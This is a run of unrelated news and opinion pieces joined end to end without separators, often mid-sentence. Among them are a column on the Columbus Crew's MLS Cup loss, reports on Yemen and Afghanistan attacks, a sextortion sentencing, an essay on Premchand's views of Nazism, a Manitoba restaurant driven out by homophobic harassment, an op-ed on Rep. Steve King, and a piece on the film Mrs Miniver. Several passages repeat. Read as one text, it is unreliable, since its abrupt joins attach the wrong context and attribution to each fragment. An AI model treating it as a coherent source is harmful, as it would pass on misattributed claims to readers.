While I am probably going to see that play in my mind for the rest of my life—adding it to the nightmare gallery that includes Red Right 88, The Drive, The Fumble, The Shot, The Jose Mesa, etc.—for Clark to place the result entirely on his shoulders surely isn’t accurate. There were 89.5 minutes yet to play. This wasn’t a 90th minute blunder that literally decided the game. Besides, for all we know, Clark could have cleared the ball on that play and the game could have ended 7-0 in Portland’s favor. Or the Clark play could have happened, but if the assistant referee calls that out of bounds play six minutes later, the game could have ended up 8-1 Columbus. It’s impossible to unravel all of the possibilities based on a play just 27 seconds into the game. We only know the possibility that actually happened, so it’s easy to whip up an equation that states bad goal + lose by a goal = all Clark’s fault.
We have no way of knowing if that’s actually true. All we know is that the goal happened and Columbus eventually lost. The goal surely didn’t help, but to put the blame for the result entirely on Clark’s shoulders would be unjust.
Clark’s teammates stood by him.
“This isn’t on Steve,” said Justin Meram. “It’s on all of us. He’s a leader. It’s almost the way we play puts him in that position. We love him to death. You saw some of the saves he made today. You have to tip your hat to him. He had a hell of a year.”
As Clark stood at his locker and spoke of his team’s resiliency and character, I couldn’t help but think of how in that very difficult postgame moment, he embodied both.
***
Crew SC was attempting to become the first Ohio team to win a major league title on Ohio soil since the 1964 Cleveland Browns defeated the Baltimore Colts 27-0 in the NFL Championship Game. The 1975, 1976, and 1990 Cincinnati Reds all clinched on the road, while Crew SC won MLS Cup 2008 in a neutral site game in Carson, California. (The Indians, Browns, Royals, Bengals, Cavaliers, Barons, and Blue Jackets have combined to win zero-point-zero-zero championships after 1964. It’s been Reds, Crew, or bust.)
On the flip side, the Timbers became the second West Coast team to clinch a major sports title on Ohio property in 2015 alone. They join the Golden State Warriors, who clinched the NBA title this past June at Quicken Loans Arena in Cleveland. Previous to the Warriors and Timbers, the 1972 Oakland Athletics clinched the World Series at Riverfront Stadium in Cincinnati.
So that’s three visitor clinchings in Ohio—one in each of the three C’s—since the last Ohio home clinching in 1964.
Bummer.
***
"I have some really mixed emotions right now," said Danny O'Rourke, a Massive Champion who is now with the Timbers organization. We stood in the tunnel as he calmly sipped from a victory beer.
A Worthington native, O'Rourke had dreamed of retiring in black and gold, and said he hopes "Columbus wins a thousand more championships", but on this night, he was part of the opposition. To see his hometown club playing in front of a packed and enthusiastic stadium filled him with great pride, even though he was also happy that it was his guys showering with champagne in the visiting locker room.
And that made him think of 2008, that most Massive of seasons.
"The only thing I would change about 2008," he said, "is that I wish we could have won MLS Cup at home in front of a crowd like this instead of out in California."
Then he caught himself.
"Wait, why would I want to change anything about 2008? It was really special. Plus, if we had won MLS Cup at home in Columbus, I'd probably be dead. I would have partied so much that night that I would have died. So never mind. I'm glad 2008 happened like it did."
As we said our goodbyes, Danny had a few last words.
"If you're gonna put that you talked to me in your article, tell everyone I said, 'Duncan sucks.' Just write something like, 'He had the following message: (Bleep) Duncan. Something like that."
An unsolicited old-time O'Rourke vs. Oughton jab for the Notebook caused a burst of laughter that I didn't think was even possible as I spied elated, champagne-spraying Timbers in my periphery.
***
Danny sure was right about the crowd. Despite getting punched in the gut right out of the gate, it was still a fantastic atmosphere. It did not go unnoticed.
“I think the fans did their job,” Clark said. “Beyond. It was a great atmosphere to play in to say the least. I am really proud to live in this city.”
That last sentence is a sentiment shared by many. On MLS Cup Eve, as I waited to record my segment on the Massive Report Podcast, I chatted with Crew SC fan Nate Beckman. I told him how I had been advising anyone and everyone to soak up as much of MLS Cup week as they can. You never know when it will happen again. Columbus could host it again next year. Or never again in my lifetime. Nate agreed and said something that stuck with me. He said, “Even if we lose tomorrow, this week still happened. I mean, look around this place!”
I did. It was jam-packed and it was wall-to-wall Black & Gold. There was so much excitement for Crew SC, and that excitement went well beyond the walls of Land Grant Brewing Company on Saturday night. The national soccer spotlight shined brightly on Columbus. League employees, visiting media, and traveling fans had many laudatory things to say about our city as a host. It seemed I spent much of the weekend engaged in conversations with MLS folks and out of town writers about Crew SC’s surge in the local consciousness. And all of this came about after a fun regular season capped by a 5-0 demolition of D.C. United, then a back-from-the-dead series against Montreal, and a nine-second goal to set the tone for the elimination of the Supporters’ Shield champion New York Red Bulls.
Even though Crew SC ultimately came up short, it was a wild ride. Like Nate said, no matter what the result in MLS Cup, all this happened. All this good stuff actually happened.
“I’m proud of Columbus,” added Berhalter. “I think Columbus put on an excellent show and I think the atmosphere was amazing. I’ve played in U.S. vs. Mexico games before and this is right up there with an intense atmosphere. I’m sorry to the people of Columbus that we couldn’t bring them a championship. We couldn’t bring them that trophy, but they deserve it. The support we have gotten over the last month has been amazing. So I thank the people. I thank the city for getting behind us.”
***
Berhalter and his players vowed that Crew SC will be back. There are many reasons for optimism of course, but it’s also a daunting task. The math is daunting at least. Only two teams can make it to MLS Cup in any given year, and only one can win it. Not only that, two of the playoff rounds are designed to virtually eliminate any trace of home-field advantage. (Although that would be a boon, not a hindrance, if you are the lower seed.)
Heck, to understand how little margin there is between fun and done come playoff time, let’s look at the two finalists. While |
accountability for scores of civilian deaths in the country."
"Even if it turns out that this was a case of killing based on mistaken identity or dodgy intelligence, whoever was responsible needs to own up to the error and come clean about what happened in this incident," said Amnesty's Philip Luther.
Yemen is the ancestral home of Osama bin Laden and home to Al-Qaeda in the Arabian Peninsula (AQAP), which Washington views as the Wahhabi militant network's most dangerous franchise.
AQAP said it carried out a brazen daylight attack on the defense ministry complex in Sanaa on December 5 which killed 56 people, among them expatriate medics.
It has also been blamed for numerous attacks on security forces and officials.
On Saturday, the Supreme Security committee renewed a two-week ban on motorbikes in Sanaa, aimed at averting shoot-and-scoot attacks.
The ban, announced on December 1, has resulted in a "clear drop in the use of motorbikes by vandals and terrorists," a statement said.WASHINGTON (Reuters) - A Georgian soldier from the NATO-led Resolute Support mission was killed and six personnel were wounded in Afghanistan on Thursday after a suicide bomber attacked their convoy in Kabul province, a coalition statement said.
In addition, two Afghan civilians were killed and seven wounded in the attack.
The wounded service personnel, three Georgians, two Americans and a local interpreter, were being treated at a U.S. military hospital at Bagram airfield and were in stable condition, the statement said.
The incident occurred in Qarabagh district outside the capital, Kabul.
The coalition maintains nearly 13,000 troops from 39 countries, as part of a mission to train, advise and assist Afghan troops. Georgia is not a member of NATO, but has 870 troops serving in Afghanistan, one of the largest contingents in the coalition.
“The commitment of Georgia as our largest non-NATO contributor is vital to our mission and we are honored to stand beside them under these difficult circumstances,” said the top NATO commander in Afghanistan, Gen. John Nicholson.
A suicide bomb attack in Afghanistan killed two American troops on Wednesday as they traveled in a convoy near the airport in southern Kandahar city, the U.S. military said, in a strike claimed by the Taliban insurgency.
The attack was seen as a reminder of the dangers posed to the 8,400 U.S. service members in Afghanistan as President Donald Trump weighs sending thousands more troops to fight America’s longest war.
U.S. military commanders in Afghanistan have asked for several thousand additional troops, but the request is stalled in Washington, where Trump has expressed skepticism over extending the American commitment.LOS ANGELES -- Authorities said a 20-year-old Rosemead man has been sentenced to nearly 40 years behind bars for distributing revenge porn and extorting young girls for nude photos, CBS Los Angeles reports.
Cesar Mauricio Estrada-Davila, AKA Cesar Estrada, pleaded no contest on Feb. 15 to a total of 38 felony counts: one count of lewd act upon a child; 21 counts of distributing or showing child or youth pornography to a minor and 16 counts of possession of child or youth pornography, according to the LA County District Attorney’s Office.
Estrada-Davila was sentenced Friday to 39 years and 8 months in prison.
As a result of the plea, Estrada also must register as a sex offender for the remainder of his life.
Deputy DA’s Scott Yang and Steven Mac of the Antelope Valley Branch prosecuted the case.
According to testimony at his preliminary hearing, Estrada-Davila found his victims on social media between January and April 2015. The defendant told the victims he was a modeling agent who could make them famous. Estrada then asked the victims to send him pictures of themselves in their underwear, prosecutors said.
Once Estrada-Davila received the images, he threatened to send the photos to their friends and family if they did not send him nude photos, according to court testimony.
Prosecutors said there were 21 female victims between the ages of 12 and 17 years old from California, Utah, Texas, Michigan, Washington, Colorado, Nevada and Florida.
The case was investigated by the Los Angeles County Sheriff’s Department Special Victims Bureau.“After the landslide victory of the Nazi Party in Germany, the question that arises is will Germany really turn into a fascist regime and will the Nazis be able to hold and consolidate power for at least five years? If it happens and the Nazis get an opportunity to establish themselves, they will suck the democratic life and vision out of Germany through its political and military strength in such a way that not a single opponent of the Nazi Party would be left in Germany for 25 years.”
Premchand recorded this apprehension in a brief commentary titled ‘Germany Ka Bhavishya’ (The Future of Germany) right after the victory of the Nazi Party in Germany in 1933. What is noteworthy in this excerpt is the part where he forebodes the “democratic vision” of Germany being sucked out. He says that the rise to power of one specific political force is a threat to democracy, endangering its existence. But this victory was nothing usual. “The growing repression of the illegitimate army of the Nazi Party in Germany and the crushing of all opposing powers prior to the election is the sole reason for Nazi victory,” he writes. “If not so, was it fair to conduct elections after incarcerating communists, beating up opponents and banning rival newspapers like Mussolini did and then declare it to be a victory of popular vote?”
It is not necessary to view Premchand’s observation in the context of the present times but the focus of his comment is the forced elimination of opposition before the victory of the Nazi Party. He does not censure the German opposition parties for their inability to protect themselves. He clearly states that the crime was Hitler’s who was phasing out the opposition through undemocratic means. The Nazis had a private army which none of the other political parties in Germany possessed.
Premchand unequivocally states that the elimination of opposition should be a cause for worry and one who carries it out must be held responsible for it and must be questioned.
Premchand’s sharp critical vision allowed him to see right through the what was happening in the world around him. His makes his stand clear. He holds European civilisation responsible for the events that unfolded in Germany. The suppression of Jews was one reason for the monopoly of the Nazi Party, the basis for which pre-existed. “We are tired of hearing the laurels of European civilisation. They are proud of their culture. We, the people of Asia, are foolish, barbaric, uncivilised. But when we look at the savagery of all these nations, we feel that these titles be returned to them along with interest.”
Speaking of antisemitism in Europe, Premchand writes, “The Jews are affluent people and nowadays policies of nations are money-driven. Agreed, that Jews had a hand in spreading communism in Russia. We may also admit that the Jews have taken it upon themselves to seek revenge for long-standing rivalries against the Christians and to crush their civilisation. But does it mean that the majority of a nation should become hell-bent on wiping the Jews out? Right after its victory, the Nazis have launched an onslaught against the Jewish community in Germany. While physical assaults and spilling of blood continues, the Jews are not allowed to leave the country. They cannot even save their lives. They have lived there for generations and claim an equal share in the advancement of the country. Yet they no longer have a place for themselves in Germany.”
Though it is not necessary to view Premchand’s remarks in light of the present context, in his own time Premchand also compared the events unfolding in his country with what was happening in Germany: “Here, the past few days have witnessed ugliness between a group of Hindus and Muslims. Responsible for it are those who have been enlightened in the West. The same Western civilisation is making a direct impact here.”
Nationalism is one invention of this Western civilisation. We are already aware of Rabindranath Tagore’s ‘Critique of Nationalism’. Bhagat Singh’s criticism of narrow-minded nationalism is less publicised as he has always been projected as a fanatical nationalist. In his essay, ‘Rashtriyata Aur Antar-Rashtriyata’ (Nationalism and Internationalism), Premchand writes, “Nationalism is the leprosy of the present era just as communalism was the leprosy of the medieval period. Both result in the same. Within its narrow perimeter, communalism aimed at establishing a peaceful and happy state, mutilating and detroying everything that fell beyond it without the slightest qualm. Nationalism, too, dreams of a Ram Rajya within its finite limits.”
Premchand projects a preference for internationalism over nationalism – a notion somewhat similar to the ideas of Gandhi, Nehru and Bhagat Singh. At the time when Premchand was writing, the question of nationalism rode on a cleft between Hindus and Muslims. Regretting the failure of the Hindus to view Khilafat movement from the comprehensive perspective of Mahatma Gandhi, he says, “The truth is that the Hindus have never understood the importance of Khilafat but always looked at it sceptically.” He adds more sternly, “The Hindus have never been known for their political generosity, but the kind of narrow-mindedness they have displayed at this occasion, one is forced to conclude that this community is at the peak of political bankruptcy. For no other reason could the entire Hindu community collectively go in a frenzy motivated by a few so-called nationalists driven by hysteria.”
Criticising the formation of Hindu organisations and shuddhi or cleansing movements, Premchand says, “Sadly, even the liberal leaders are not speaking a word against it.”
“Are there any Hindus today,” aska Premchand, “who are dedicatedly working towards Hindu-Muslim unity, and believe that it is a significant issue India is faced with? The pain and the agony for people can no where be seen among Hindus. They are ecstatic over the cleansing of a few thousand malkans as if that was their goal; as if independence has been achieved.”
“In the matter of cow-killing, the Hindus have adopted unjust ways since the beginning,” he writes. “We have the right to consider holy any animal we like but to hope that followers of another religion will consider it equally sacred is nothing but to incite violence. Cows are eaten all across the world. Would you pronounce a death warrant against the whole world for it?”
Though Premchand was writing it nearly a century ago, is it time now to put his words into action?
Apoorvanand teaches in Delhi University.
This article was originally published in The Wire Hindi and has been translated by Naushin Rehman.Looking for news you can trust?
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I still feel like crap today. On the bright side, I feel slightly less like crap than yesterday. Nevertheless, that probably means I should stick to nice, easy subjects. I think I managed to screw up yesterday’s post about the income of the top 1 percent five or six times before I finally got it right.¹
The Republican tax bill is always good for an easy post. Let’s try that. Here’s the latest Penn Wharton estimate of the effects of the bill all the way through 2040²:
There you go. By 2040, more than two decades from now, the Senate bill will create an extra $2 trillion in debt. At the same time, it will increase both GDP and labor income by 0.5 percent. That’s 0.02 percent per year, which is basically noise level. We can’t even come close to measuring GDP that accurately. For all practical purposes, the likely effect of the bill on GDP and labor income is zero.
No one in the Republican Party seems to care about that, and charts full of numbers don’t have any impact on the average voter. Still, just for the record, I figure it’s worth posting this stuff. Someone ought to.
¹It’s now correct, and probably fairly understandable too. Thanks, readers!
²The Penn Wharton folks produce both high and low estimates. I’ve averaged them here to get a single number for each category.Alexey Titarenko has photographed Saint Petersburg since he was 8-years-old. In fact, he says, he has dedicated his whole life to the city. Titarenko sees his photographs as reflecting the history of his city, and Russia, over the past 20 years.
“Through the prism of my native city, I attempt to show events that occurred not only here, but throughout the country - the changes, the catastrophies, and the human tragedies, which have swept this city and the people of this land.”
In the 1990s, Titarenko was working on a series of photographs about totalitarianism, centered on the signs and statues that were crumbling around him as Soviet communism failed. Poverty spread as rationing was introduced.
“Food was rationed. To obtain food in exchange for the ration tickets, people would run from one store to another, with a desperate air, and their eyes full of sorrow. I’d place my camera at the subway entrance and take photographs. “The activity around the station, which was located in a shopping district, overlapped with the sensations I felt when I listened to certain musical compositions, Shostakovich’s 13th Symphony in particular, the movement entitled “At the Shop”. “The mass of people flowing around the subway station formed a sort of human tide, giving me a sensation of unrealness, of phantasmagoria, These people were like shadows, one would meet in the Underworld. I decided to express that feeling in my work, to convey my personal expressions. I had to find a visual metaphor that would enable the viewer to share my feelings as acutely as possible. That is what prompted me to try a long exposure process.”
Titarenko’s pictures were haunting, disturbing, like malevolent ghosts crowding the frame. He called the series City of Shadows,
Via My Modern Met. With thanks to Tara McGinleyFormer California governor Arnold Schwarzenegger on Saturday laid a floral wreath at the Bataclan concert venue where 90 people were killed during the November 13 terrorist attacks in Paris.
“Paris, je t’aime (I love you) and I pray for you,” reads the card on the wreath of orchids and roses, signed simply “Arnold”.
The actor and former body builder is in Paris to lend star power to the UN climate conference under way in the French capital.
Michele Sabban, president of Regions of Climate Action (R20), a non-profit environmental organisation founded by Schwarzenegger, accompanied him to the wreath-laying.
The Bataclan, the site where the worst of the attacks took place on a night that saw 130 people killed and hundreds more injured across Paris, has seen a steady stream of visitors coming to pay their respects.
Other Hollywood stars in Paris for the climate talks include Leonardo DiCaprio, Sean Penn and Robert Redford.
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
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"It's very sad this has happened, that people have been small-minded enough to make them feel unwelcome," van der Linde said Monday. "It certainly doesn't reflect well on the community."
Morris Mayor Gavin van der Linde told the Free Press he was stunned to learn a handful of local citizens had essentially run the business out of town.
Pots N Hands just opened for business last December in Morris, located about 60 kilometres south of Winnipeg. Customers learned last week the eatery will now serve its final made-from-scratch meal in mid-April.
A new rural Manitoba restaurant is suddenly closing its doors following a series of homophobic verbal attacks against the two gay owners.
Hey there, time traveller! This article was published 1/4/2013 (2157 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 1/4/2013 (2157 days ago), so information in it may no longer be current.
PHIL HOSSACK / WINNIPEG FREE PRESS Pots N Hands, a Morris restaurant that opened last December and whose owners are gay, will serve its last meal in April after the restaurateurs say they were the victims of anti-gay slurs.
A new rural Manitoba restaurant is suddenly closing its doors following a series of homophobic verbal attacks against the two gay owners.
Pots N Hands just opened for business last December in Morris, located about 60 kilometres south of Winnipeg. Customers learned last week the eatery will now serve its final made-from-scratch meal in mid-April.
Morris Mayor Gavin van der Linde told the Free Press he was stunned to learn a handful of local citizens had essentially run the business out of town.
"It's very sad this has happened, that people have been small-minded enough to make them feel unwelcome," van der Linde said Monday. "It certainly doesn't reflect well on the community."
The two owners are from Winnipeg and felt they were filling a void with their restaurant, which specializes in home-cooked lunch and dinners. But they weren't prepared for the bigotry they experienced in the form of direct comments and confrontations about their sexual orientation.
"It's been very difficult for us. It got to the point of being out of control by this certain group of people," one of the owners told the Free Press on Monday. They originally declined to speak last week, saying only that they were closing for "personal" reasons. But they later changed their minds on Monday after learning many others were expressing concern on their behalf. They asked that their names not be published for fear of ongoing retribution.
"This has been a very difficult decision," said the co-owner. "I cannot tell you how this has affected us on so many levels."
Van der Linde said he first learned of the incidents about two weeks ago and spoke to the two owners, who confirmed what had been occurring.
"I was surprised, I hadn't heard anything about any comments before that. Everyone I heard from loved the food. It was an extremely positive response," said van der Linde. The issue was raised at a town council meeting last month and everyone responded by going to the restaurant for lunch.
"We wanted to show our support," he said. "Unfortunately, you just need a few people to say something out of order and it can be taken as the feeling of the community as a whole. These derogatory comments are very unfortunate. We don't need those type of comments around."
The owners declined to provide specific examples of what's been said to them, saying they wish to exit the community with the "same grace" with which they set up shop late last year.
"Both of us understand this small group of individuals don't represent the community of Morris and surrounding communities as a whole," said one. Although it wasn't a secret that the restaurant was owned by two gay men, he said they've done nothing to "flaunt" their sexual orientation.
"But by no means are we ashamed of who we are and how we live," he said,
Several Morris-area residents have reached out to the owners to express their remorse and outrage over what has happened. There have also been dozens of encouraging and supportive messages posted on their Facebook page.
"Pretty low-class some citizens of Morris. The epitome of bigotry," wrote one supporter who works in the medical profession and has frequented the restaurant since it opened.
"Grow up, people. It's called living the life the way you want to," wrote another.
The Free Press spoke with one local citizen who has been identified by several sources as a vocal critic of the pair. Although he admitted their sexual orientation "isn't my choice" he denied saying anything homophobic to the two owners.
Horst Backe is a spokesman for Reaching Out Winnipeg, a program whose volunteers help people facing persecution and discrimination based on sexual orientation or gender identity. He said the timing of this "shocking" incident is interesting given the Manitoba government's controversial new anti-bullying bill.
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"These are adults here who are being bullied. It really underscores the need to protect children," said Backe.
Bill 18 has been a hot-button issue in the province for more than a month with some critics, including Manitoba senior federal cabinet minister Vic Toews, saying it infringes on religious freedom because it requires religious schools to accommodate student-led gay-straight alliance activities.
Education Minister Nancy Allan said Bill 18 does include all forms of bullying by its very definition of bullying. The bill says bullying is a behaviour that's intended to cause, or should be known to cause, fear, intimidation, humiliation, distress or other forms of harm to another person's body, feelings, self-esteem, reputation or property.
Backe said this type of discrimination isn't just the product of a small-town environment.
"You don't have to be accepting. You just have to be tolerant," he said. "I think you will find tolerance and acceptance, and intolerant and hateful people everywhere."
mike.mcintyre@freepress.mb.caAlberta Premier Jim Prentice says it's concerning that Norway's Statoil has put its oilsands project on hold.
The company announced earlier Thursday it will postpone a multi-billion-dollar project near Fort McMurray for at least three years, citing rising labour costs and a lack of pipeline access to markets. That announcement followed a similar decision six months ago by Total, and Prentice says it's crucial Alberta solves the pipeline problem quickly.
"Underlying the kinds of capital investment that are being made in the oilsands is the needed assurance that we can access global prices," said Prentice. "If we cannot and people do not have a line of sight on infrastructure and tidewater access, it's going to start to affect our prosperity as a province."
Last year, Statoil president Stale Tungesvik said the company might have to choose between developing projects in the Alberta oilsands and the offshore sites near Newfoundland due to the industry's rising cost.
The costs of oilsands projects are rising because of construction and labour costs, while the price of oil is20 per cent lower than it was six months ago, making large investments less viable.
The uncertainty over pipeline projects also discourages investment, with the Keystone pipeline to the U.S. stalled in the White House and the Northern Gateway pipeline facing multiple hurdles.
Statoil also announced earlier this summer it would work with the government of Newfoundland and Labrador to help advance contentious oil and gas development in harsh environments, including the Arctic.
Newfoundland is trying to position itself as a centre for Arctic and harsh environment expertise.Photo by John on Flickr.
MARC plans to allow bicycles on some weekend trains on the Penn Line before the end of the year, a MARC official said last week.
Bicycle advocates have long asked MARC to allow passengers to bring ordinary bicycles aboard MARC trains. MARC allows only folding bicycles on regular passenger cars.
However, MARC is now spending $359,000 to convert two single-level passenger cars to passenger/bicycle cars, Chief Mechanical Officer Erich Kolig explained to the MARC Riders Advisory Council on October 16. MARC plans to add one bicycle car to certain weekend Penn Line trains. There will be a bicycle symbol on the Penn Line schedule to denote these trains. The other bicycle car will remain in reserve.
The single-level cars have three seats on one side, and two seats on the other. In the bicycle cars, there will be 29 bicycle racks instead of seats on the three-seat side. The bicycle racks will accommodate full-length bicycles, tires ranging in diameter from 10 inches to 29.5 inches, and most fat tires. They are angled to preserve aisle space.
If the bicycle cars on the Penn Line are successful, MARC will convert two more cars and add bicycle service on Friday afternoons on the Brunswick Line, which will allow people to take their bicycles to Harpers Ferry on the train and then ride back to Washington on the C&O Canal trail.Rumor: New PlayStation Mobile SDK Launching On August 21st, Adds PSN Leaderboard Support
Posted by Chris K on August 9th, 2013 | 14 Comments | Tags: PlayStation Mobile
There are a few things currently missing from PlayStation Mobile that gamers are craving for. One being trophies and another being online leaderboard support. As of now there are only a few select games, like Tobipen or Surge, that have online leaderboards, but with most things there is a catch. This one being that they are not linked with your PlayStation Network ID.
We got word today from a trusted source that a new version of the PlayStation Mobile SDK (v1.20) will be rolling out on Wednesday August 21st. Some of the new features include Windows 8 support for the dev studio, improved Vita graphics performance (much needed), some lua scripting samples, and the aforementioned PSN leaderboards.
Sony is also encouraging developers with titles already released to go back and add in these new PSN features. Many games on the service like Super Crate Box, Ten by Eight, and Bullion Blitz would really benefit from adding online leaderboards.
Are you be more willing to purchase more PlayStation Mobile games once online leaderboards are added?Coquitlam RCMP are asking for help locating two Forensic Psychiatric Hospital patients who disappeared separately from the facility last week.
On Feb. 10, David Fomradas was reported missing from the facility and then two days later, Violet Miharija also disappeared.
In a release, police say Fomradas, 38, was reported on an "unauthorized absence" from the hospital's housing program located on the Riverview lands in Coquitlam, B.C.
"Fomradas has the potential for violence when not on his medication," said the release.
Pls. RT: <a href="https://twitter.com/hashtag/CQRCMP?src=hash">#CQRCMP</a> is asking the public's assistance in locating <a href="https://twitter.com/hashtag/missing?src=hash">#missing</a> 38 yr old David Fomradas <a href="https://t.co/gVgWc2uz4p">https://t.co/gVgWc2uz4p</a> —@cqrcmp
In 2010, Fomradas was found not criminally responsible for a car-jacking that injured two B.C. actors.
This is not the first time he has been reported missing from the facility.
In 2012 he failed to return to the psychiatric hospital while out on a day pass.
Police are warning the public not to approach either David Fomradas or Violet Miharija if they are seen.
Miharija, 41, was reported as missing from the hospital on Feb. 12. She was last seen wearing a green sweatshirt, green sweatpants and white running shoes.
Have you seen Violet Miharija? Unauthorized absence from the Forensic Psychiatric Hospital in <a href="https://twitter.com/hashtag/Coquitlam?src=hash">#Coquitlam</a> <a href="https://t.co/QW62Mauqg6">https://t.co/QW62Mauqg6</a> —@cqrcmp
Coquitlam RCMP are asking anyone with information about either Fomradas or Miharija to call (604) 945-1550.On Sunday, Rep. Steve King (R-Iowa) wrapped himself in his metaphorical white robe and took to Twitter to celebrate his white supremacist thinking.
“Wilders understands that culture and demographics are our destiny,” he tweeted, referring to Dutch nationalist Geert Wilders, who has promised to “de-Islamise” the Netherlands. “We can’t restore our civilization with somebody else’s babies.” The nation’s most infamous former KKK imperial wizard, David Duke, tweeted his approval.
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Lest anyone misconstrue King, he reaffirmed Monday that, yes, he was a white supremacist: “I meant exactly what I said, as is always the case,” adding that he hoped for an America in which we all “look the same.”
While some Republicans professed supposed shock at King’s words, they were nothing new. In 2012, he compared immigration policy to selecting a dog, arguing we should allow only the “pick of the litter” into the U.S. In 2013, he said that for every “Dreamer” — young people brought to the U.S. illegally as children — who was a valedictorian, “there’s another 100 out there that they weigh 130 pounds and they’ve got calves the size of cantaloupes because they’re hauling 75 pounds of marijuana across the desert.”
In 2016, he told host Chris Hayes: “I’d ask you to go back through history and figure out, where are these contributions that been made by these other categories of people that you’re talking about. Where did any other subgroup of people contribute more to civilization?”
“Than white people?” Hayes asked.
“Than Western civilization itself, that’s rooted in Western Europe, Eastern Europe, and the United States of America, and every place where the footprint of Christianity settled the world,” King said. “That’s all of Western civilization.”
It’s no surprise racists like King are so emboldened in these times. Remember, the Justice Department sued Trump for refusing to rent to African-Americans, and he has a long history of making disparaging comments about most nonwhite groups.
Meanwhile, top adviser Stephen Bannon is a racial warrior, proudly touting his Breitbart News website as the “platform for the alt-right”— that confederation of racist, anti-semitic, and xenophobic conservatives — publishing myriad articles railing against “full integration” of racial groups and featuring writers who say things like, “The alt-right believe that some degree of separation between peoples is necessary for a culture to be preserved.”
It’s no surprise that during Holocaust Remembrance Day, Bannon’s White House released a statement purposefully omitting mention of Jewish victims — a tactic of Holocaust deniers who argue that Jews were never targeted.
With over 80 percent of Republicans approving of Trump and Bannon’s work in opinion polls, it’s clear their brand of overtly racist conservatism is now standard in the GOP.
Yet the nation’s demographic trends continue unabated: The nation will be majority-minority by 2043, according to Census projections, with whites losing majority status.
“Their effort here is to be celebrating because the United States is moving towards becoming — the whites becoming a minority, be a majority-minority within the country, according to what their plan is,” King said in response to those numbers. “I will predict that Hispanics and the blacks will be fighting each other before that happens.”
It’s less “celebrating” and “planning” than an acknowledgement of reality, and Republican congressmen praying for a race war won’t save the GOP or its racist adherents from themselves.
Moulitsas is the founder and publisher of Daily Kos.The uzi fire rapid rate of GMail feature releases has slowed a bit, but it hasn't quite stopped. Today, Robby Stein one of Google's Product Marketing Managers, announced the ability to create personal mailing lists with the GMail contact manager.
It comes in handy particular for Web 2.0-style businesses like Mashable, where almost everything we do operates out of the Google suite of tools, or other similar Web 2.0 tools. Being able to send out an email to the "Writer's Department" or "Entire Mashable Crew" is a big time saver, as opposed to plucking out each individual's emails from the address book.
The new features are compatible with IE7 and Firefox2, and are extremely simple to do (I had a few groups set and actually used in under five minutes). From the instructions at the GMail blog:“We will come. We will bomb your cities.” So bristles a character in the film Mrs Miniver. A German pilot who had been shot down in the chocolate box English village of Belham, he momentarily brings the horrors of World War II to what is largely a domestic drama.
The movie – released in June 1942, going on to win the best picture Oscar the following year – is credited with consolidating American support for the Allies, at a time when the public backed isolationism. A new programme explores the moment Hollywood finally took a stance against the Nazis, after years of underplaying opposition to the regime.
“The Hollywood business behaved shabbily and in a cowardly way,” film critic David Thomson tells presenter Paul Gambaccini. “Hollywood was caught in a very nasty situation – it did not want war for the simple reason that war would interfere with its European sales. And they played a very two-faced game, until it was clear that war was inevitable.”
According to Ben Urwand, author of The Collaboration, “Screenwriters – many of whom were Jewish – would plead with the studio heads to make anti-Nazi films, and to make films about what Hitler was doing to Jews in Germany, but the problem was that in the 1930s, the studios were essentially controlled by six or seven individuals who decided what made it onto the screen, and the screenwriters had very little power.”
Instead, even in the early years of WWII, studios put out films that attempted to show support for the Allies without being too offensive to the Nazis. As Gambaccini says in his programme – the first in a series looking behind the scenes of three movies that have won the best picture award – “when producer Sidney Franklin asked William Wyler to direct a film adaptation of Mrs Miniver, America had not yet taken sides. It was by no means certain that it would.”
With lines like “if war comes, it’s goodbye roses”, Mrs Miniver appeared to fit the bill. Based on a series of popular newspaper columns in The Times written by a stockbroker’s wife, it was a domestic drama set on the Home Front. Yet in the hands of director William Wyler, it became a different beast altogether.
Born in Alsace-Lorraine, Wyler knew of the threat posed by Hitler years before his Hollywood peers. He was not about to take a softly-softly approach. “I was a war monger. I was concerned about Americans being isolationists,” he said years later. “Mrs Miniver obviously was a propaganda film.” The plot followed a family living a comfortable life in Kent as they learn to cope with war: Mrs Miniver’s son goes to the front; her husband takes part in the Dunkirk evacuation; and she has to confront a German paratrooper who lands in her village.
Adapting the original treatment, Wyler changed the character of the German pilot from that of a sympathetic victim of war to someone much more aggressive. Thomson tells Gambaccini: “Wyler took it upon himself to toughen that character up in the scripting and the shooting – and in fact he really turns into a Nazi. The story goes that Louis B Mayer… was alarmed when he saw this footage… Wyler is reputed to have said ‘Mr Mayer, do you know what’s going on – this man is a shadow of the nastiness that’s going on there’.”
As it turned out, timing meant that Mayer was no longer able to avoid confronting the regime. After films like Charlie Chaplin’s The Great Dictator, anti-Nazi movies were on the rise – and Mrs Miniver was released six months after the US entered the war. It was seized on by the Allies. “We know what Roosevelt’s response was, almost straightaway – he urged MGM to get it out to cinemas all over America,” says the Imperial War Museum’s Terry Charmin. “Churchill … is credited as saying that this is worth either five battleships or 50 destroyers.”
Raising the roof
A scene near the end – in which a vicar delivers a sermon in a bombed-out church – was rewritten by Wyler and Henry Wilcoxon, the actor playing the vicar, the night before it was filmed. President Roosevelt requested that it be translated into several languages and air-dropped over German-occupied territory; it was also reprinted in Time and Look magazines.
The ultimate endorsement came from an unlikely source. Nazi Propaganda Minister Joseph Goebbels wrote that Mrs Miniver “shows the destiny of a family during the current war, and its refined powerful propagandistic tendency has up to now only been dreamed of. There is not a single angry word spoken against Germany; nevertheless the anti |
20-year-old, barely out of public school, commanding an infantry platoon at Anzio, where the fighting for some weeks in early 1944 was as brutal as the Somme.
But it was still true that British casualties in the second world war were lower than before. And in a curious – not to say ominous – way this made it easier to view that war benignly.
The next major turn in opinion came less than 20 years after VE Day. In 1964 the 50th anniversary of the first world war was marked by a BBC series, The Great War, which remains a landmark in television history. No greater documentary has been made since. Ken Burns’s celebrated documentary on the American Civil War couldn’t include testimony of men who had fought in that war and were still alive. The BBC series could and did.
